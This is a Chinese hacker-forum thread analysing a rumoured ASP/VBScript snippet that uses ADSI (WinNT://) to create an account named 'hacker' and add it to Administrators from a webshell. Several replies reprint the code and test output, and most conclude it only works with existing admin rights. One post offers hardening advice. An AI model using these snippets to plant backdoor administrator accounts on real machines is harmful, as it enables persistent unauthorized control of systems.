34 12
发新话题
打印

[讨论]传说中添加超级用户的asp代码分析

[讨论]传说中添加超级用户的asp代码分析

文章作者:lake2
信息来源:http://blog.csdn.net/lake2/

这个东东弄得沸沸扬扬,要是你还不知道的话就看看《添加超级用户的.asp代码》这文章吧。

   作者也说了,“反正代码是对的,但是很少能成功,具体的看运气了”,偶也拿来在webshell上试了试,失败了。把容错语句去掉,看到错误原因是“权限不够”。今天没什么事,就来分析分析,说不定……嘿嘿。

   他代码关键是这个:

set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username

   无非是在asp中创建一个WSCRIPT.NETWORK对象,用这个对象添加用户提升为管理员。而按照他们的说法这是利用了.NETWORK对象本地权限提升漏洞(他们说这是MS没公布的)。嗯,那我把代码做成一个vbs脚本文件,拿到命令行下试试就知道了。


test.vbe(vbe比vbs更好;vbs的运行受到诸多限制)
--------------------------------------------
set lp=CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user","hacker")
od.SetPassword test
od.SetInfo
oe.Add oz&"/"&"hacker"
-------------------------------------------

   在admin权限下生成了hacker用户;user权限执行文件报错:拒绝访问。看来还是权限不够,即是说不存在所谓的MS未公布的“.NETWORK对象本地权限提升漏洞”——至少我这个XP SP1上不存在。你也可以把上面的代码保存为vbe拿到user权限下面试试其他系统是否存在这个bug,不过既然这asp成功的很少可能也不会存在。

   上回日光海岸告诉我如果IIS开了认证这个asp就可以。我在本地把IIS的匿名访问关闭了,这个脚本果然可以工作。不过此时实际上你的浏览是具有管理员权限的。想想明明是关了匿名访问,为什么没有弹出对话框让你输用户密码呢?呵呵,你在本地自然集成windows基本验证,此时我是管理员,当然那些asp也继承了admin权限。不知道作者是不是在这里出错了呢?

   我认为这个传说是错的,欢迎指教。先说好了——不准打脸^_^
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

据我所知,此段代码存在问题
问题1、缺少On Error Resume Next
不知道为什么在添加用户以及添加组中的用户的代码不用On Error Resume Next是100%的出错,然而加上On Error Resume Next则可以添加用户,或者给组中添加用户.
问题2、代码缺少
添加到组的代码可能有问题(我怀疑,同样使用adsi为什么代码不同)
缺少被添加用户的
问题3、上面所用的代码不是什么WSCRIPT.NETWORK的功能,而是adsi

下面是我用adsi

我用adsi添加用户的代码:

server_name =""
user_name=""
user_pwd=""
On Error Resume Next
Set Domain = GetObject("WinNT://" & server_name)
Set TheUser = Domain.Create ("user", user_name)
If err.number = 0 Then
TheUser.SetInfo
TheUser.SetPassword User_pwd
TheUser.SetInfo
End If

添加用户到组用:

On Error Resume Next
Set TheGroup = GetObject("WinNT://" & server_name & "/Administrators,group") '设置被添加的组
Set TheUser = GetObject("WinNT://" & server_name & "/" & user_name & ",user")'设置要添加的用户

TheGroup.Add(TheUser.ADsPath)


我的这些代码是100%可以实现的,不管是在脚本中,还是在vbs文件中,要在脚本中的使用adsi,所要注意的是需要最高权限的
风,有时静,有时猛 风,有时喜,有时恨 风,有时大,有时小 我,我是风,我爱风 我是风流的风

TOP

我以前试过这种代码,成功的机会非常小……
有什么攻击活动请告诉我!!!

TOP

怀疑asp运行的权限,管理员不会用的是低进程吧
~~

TOP

如果成功可以去买彩票~~



不过有这样的想法还是值的PF的

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

郁闷

要怎么样才能知道  你们到底在念叨什么

我离这个差度还要有多远?
郁闷恐慌ing....

TOP

试过~~成功的机会不是很大。。。

TOP

我在黑防抄了些asp代码,据说可以添加管理员,呵呵,大家看看有什么错误的地方,谢谢。代码如下,有些格式错误,debag一下

<%
Set onlineServer = GetObject("WinNt://127.0.0.1")
Set newuser= onlineServer.Creat("user","test2")
NewUser.SetPassword="Test2 test"
NewUser.Description="testuser"
NewUser.Setinfo
Set oDomain =GetObject("WinNt://127.0.0.1")
Set oGroup = oDomain.GetObject("Group","administrators")
oGroup .Add("WinNt://test2")
Response.Write "添加test2用户成功"
response.Write.write "添加test2管理员成功"
Set oDomain=Nothing
Set oGroup=Nothng
%>

TOP

要是真的是创建wscript.network对象来实现添加的话~~那我记得很多ASP后门已经有这个功能了,基本都没戏.
要是在把注册表里的 Wscript相关都删了~那更没戏了~~
技术不行~讨论一下
先说好了........我和Eviloctal有相同的要求-------不要打脸^_^
昨天是明天的前天今天是昨天的明天明天是昨天的后天    ╰o╯╰o╯

TOP

我在本地机上试过了。建了个test.vbs:
---------------------------------------------------------------------
set lp=CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user","hacker")
od.SetPassword test
od.SetInfo
oe.Add oz&"/"&"hacker"
---------------------------------------------------------------------
以上代码在administrators权限下运行是完全没问题的,要不要"on error resume next"都能成功,但是在users权限下无法成功,会提示权限不够。
(我是XP sp2的机子)
You're my FF~, forever~ ^_^

TOP

问一下有没有PHP这样直接提权的code?
为vip努力!!!!!!!

TOP

依照个人的理解,提权的主要因素是被利用于提权的程序的权限是比较高的,并且,被提升的权限不能高于被利用于提权的程序(当然,如果因为是造成了数据溢出导致非受控内存区域的代码执行的情况除外)。换句话说,在现在讨论的问题,IUSR_COMPUTERNAME的权限(或者已被改为的其他帐户)如果是guest组或者更低权限的组(gpedit.msc->计算机配置->windows 设置->本地策略->用户权限分配中可以很详细的配置),并且已经把需要访问目录的权限中删除诸如Administrators组等的情况下(防止被上传的程序以高权限执行),同样,任何以服务方式运行的程序可以使用services.msc来设置其运行帐户,将其设置为低权限帐户即可。
另外,建议使用诸如ZoomAlarmPro之类可以同时控制入站和出站程序的防火墙软件,避免非授权程序访问网络;并且始终不支持在服务器上安装过多不相干程序,如果有一些高危程序,建议放在vmware中使用端口映射来使用,并且vmware的执行权限和vmnet服务的执行权限也需要降低。

敲了一大堆话以后,发现大多是针对楼主问题的一些简单防范方法。本想一删了之,转念一想,也看看别人的高见,便又发了出来。

TOP

天哪!为什么都要提到运气?
计算机技术岂是以运气来运行的?

权限阿!!

administrators权限阿!!
风,有时静,有时猛 风,有时喜,有时恨 风,有时大,有时小 我,我是风,我爱风 我是风流的风

TOP

引用:
下面是引用evilmax于06-27-2005 19:06发表的:
问一下有没有PHP这样直接提权的code?
对php不怎么了解,但不是可以用system()函数来调用外部命令吗?
You're my FF~, forever~ ^_^

TOP

曾经有过webshell上去就是admin权限的。这个权限下执行代码 或许可以 ^……^ [s:39]
www.cncert.net

TOP

我在XP SP2上海政府版 下测试成功

C:\>net user wolF
用户名            wolF
全名             wolF
注释
用户的注释
国家(地区)代码      000 (系统默认值
帐户启用          Yes
帐户到期          从不

上次设置密码        2005/7/13 下午
密码到期          2005/8/25 下午
密码可更改         2005/7/13 下午
需要密码          Yes
用户可以更改密码     Yes

允许的工作站        All
登录脚本
用户配置文件
主目录
上次登录          从不

可允许的登录小时数    All

本地组成员         *Administrators
全局组成员         *None
命令成功完成。

TOP

肯定不行的,本身ASP的权限如果可以加管理员了,那执行ASP的权限不是比管理员还大了,那还加管理员干嘛?
现有极品启示:中国制造,福州出产,长170cm,重60kg。采用高级AI,零件齐全,运转极稳定,经二十多年运行,属高满意产品。现因发展需要,诚招志同道合者(仅限女性)共同研发第二代新产品,有意者请加284582241

TOP

并非是运气成分
主要是看运行这个脚本的用户的权限
其实只是通过.NETWORK调用ADSI接口
关键在于WinNT://
大家可以直接用GetObject("WinNT://.....")
来获取所有的ADSI接口

上面的程序.其实应该是需要域控管理员权限
由于是对于localhost操作
所以本地administrator权限可以通过
但是普通的user
肯定是不行的拉
连入侵者都敢说自己在做网络安全。关键大家是真正为安全作过什么?

TOP

海洋2006里的那个功能是不是用的那个代码

我没分析代码,回去看看, 现在还不是 太懂ASP,只能看懂大概~

哎!

不过我觉得这个也没什么用,开3389的服务器也少,还要去开,也很麻烦
再说大部分都有防火墙,如果是内网又还要映射断口,麻烦~

不如用其他方法来得好
想飞的小小鸟

TOP

看到大哥们讨论的这么激烈
小弟
在XP SP1试了以下
a.vbs
------------------------------------------------------------
set lp=CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user","hacker")
od.SetPassword test
od.SetInfo
oe.Add oz&"/"&"hacker"
------------------------------------------------------------------
在cmd下cscript a.vbs
成功执行
会出现
D:\Documents and Settings\new\桌面\2>cscript a.vbs
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
停了一下
恢复正常
发现加了个hacker的管理员
~~~~~~~~!
这世界大了,啥鸟都有!

TOP

WIN 2000  运行不成功 提示错误
http://iittss.com/ kijs与牛人在一起不是有理由的让自己变懒,那是为了让视野更开阔

TOP

引用:
下面是引用千寂孤城于2005-06-18 18:23发表的:
我在本地机上试过了。建了个test.vbs:
---------------------------------------------------------------------
set lp=CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
.......
要是你  user 权限的帐户 能添加自己到管理员  你就能运行成功


      一般都需要  administrators 权限  才能成功

TOP

我以前试过这种代码,成功的机会非常小……

TOP

这段代码根本没啥子意义。
在很特殊的情况下才用得上。
本身执行的权限要有administrators组权限才能成功?
既然是在webshell执行中的,如果wscript.shell可以执行,那为何不直接运行net user来添加用户,何必多此一举呢?
还有直接把这段代码在xp或2000里执行是没有任何意义的。
因为前提一样是你以admin的权限登陆到系统中这段代码才可以成功执行?
与其这样不如直接在cmd下执行net user添加用户?
在我纯真年少時,有一個女生,她願意爲我失去生命,她意志堅定地說:你再纏著我,我就去死! 在我負笈外地時,有一個女生,她願意等我到下輩子,她溫柔婉約地說:你想成爲我男友?等下輩子!! 在我窮困潦倒時,有一個女生,她願意與我共赴黃泉,她眨著紅眼說:你再不還錢,我和你同歸于盡!

TOP

 34 12
发新话题